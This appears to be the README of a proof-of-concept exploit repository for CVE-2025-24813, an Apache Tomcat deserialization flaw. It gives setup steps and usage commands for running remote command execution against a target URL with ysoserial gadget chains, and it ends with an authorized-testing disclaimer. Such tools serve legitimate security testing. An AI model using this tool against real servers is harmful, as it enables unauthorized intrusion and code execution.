
This repository contains a proof-of-concept exploit for CVE-2025-24813, a Java deserialization vulnerability in Apache Tomcat.
Based on absholi7ly/POC-CVE-2025-24813/.
Install dependencies:
uv venv
source .venv/bin/activate
uv sync
Download ysoserial:
./download.sh
Build and run the exploit in a container:
docker build -t cve-2025-24813-poc:latest .
docker run --rm -it --mount "type=bind,src=$(pwd),target=/app" cve-2025-24813-poc:latest
python main.py <target>
Run the exploit directly:
python main.py <target_url> [options]
--command: Command to execute (default: calc.exe)--ysoserial: Path to ysoserial.jar (default: ./ysoserial-all.jar)--gadget: ysoserial gadget chain (default: CommonsCollections6)--payload_type: Payload type - ysoserial or java (default: ysoserial)--no-ssl-verify: Disable SSL verification# Basic usage
python main.py http://target:8080
# Custom command
python main.py http://target:8080 --command "whoami"
# Using Java payload instead of ysoserial
python main.py http://target:8080 --payload_type java
This tool is for educational and authorized testing purposes only. Do not use against systems you do not own or have explicit permission to test.